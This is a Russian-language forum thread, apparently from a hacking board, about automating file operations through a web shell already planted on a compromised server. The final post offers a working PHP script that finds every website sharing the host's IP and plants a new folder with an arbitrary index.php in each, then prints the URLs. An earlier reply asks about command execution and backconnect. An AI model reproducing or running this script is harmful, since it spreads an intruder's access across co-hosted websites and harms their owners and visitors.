Имеется шел марки S.A.P. v.2.1, мне от этого шелла нужны возможности FTP (получить директории, создать папки, создать файлы). Процесс нужно автоматизировать максимально просто и быстро. Какие есть разумные варианты? Хочу услышать совет опытного человека, чтобы не изобретать свой велосипед. p.s. я ведь могу написать скрипт на пхп с нужным мне функционалом, залить и выполнить? Разумно? Есть еще варианты?
Впервые слышу S.A.P. v.2.1 - не связывался, но - покажи интерфейс, как работает, есть ли исполнение команд, на каком языке реализация, ест ли бэкконнект и т.п., ибо полностью тема сисек не раскрыта... з.ы. я мож под очередным распитием огненных напитков предложу генитальные идеи... з.з.ы. могиш всю идею катануть не в паблик, а в личку.... но не факт, что быстро отвечу - работы много...
Накатал быдло-скрипт на пыхе, годится для решения частной задачи при соблюдении определенной структуры папок. Работает топорно: спускается по директории вниз от залитого шелла, пока не найдет папку с доменами. Перебираем папки, пытаемся получить IP если папка содержит в названии точку (похожа на домен) и сравнивает его с IP хоста, куда залит шелл. Если они равны, создаем папку, заливаем туда файл и в добавок чекаем наличие ssl, чтобы выплюнуть ссылку с правильным протоколом. Может кому сгодится Code: <? $new_folder_name = '123'; $new_file_name = 'index.php'; $file_text = '<? echo "php code here"'; $folder_list = explode('/', dirname(__FILE__)); foreach ($folder_list as $value) { if (strpos($value, '.')) { $server_ip = gethostbyname($value); break; } else { $dir = (empty($dir)) ? $value : '/'. $dir . '/' . $value; } } $dir_list = scandir($dir); foreach ($dir_list as $folder) { if (is_dir($dir . '/' . $folder) && strpos($folder, '.')) { if ($server_ip === gethostbyname($folder)) { $new_folder_dir = $dir . '/' . $folder . '/' . $new_folder_name; if ( !file_exists( $new_folder_dir ) && !is_dir( $new_folder_dir ) ) { mkdir( $new_folder_dir ); } file_put_contents($new_folder_dir . '/index.php', $file_text); $stream = stream_context_create (array("ssl" => array("capture_peer_cert" => true))); $read = fopen("https://$folder", "rb", false, $stream); $cont = stream_context_get_params($read); $var = ($cont["options"]["ssl"]["peer_certificate"]); $protocol = (!is_null($var)) ? 'https://' : 'http://'; echo $protocol . $folder . '/' . $new_folder_name . '/' . $new_file_name . PHP_EOL; } } }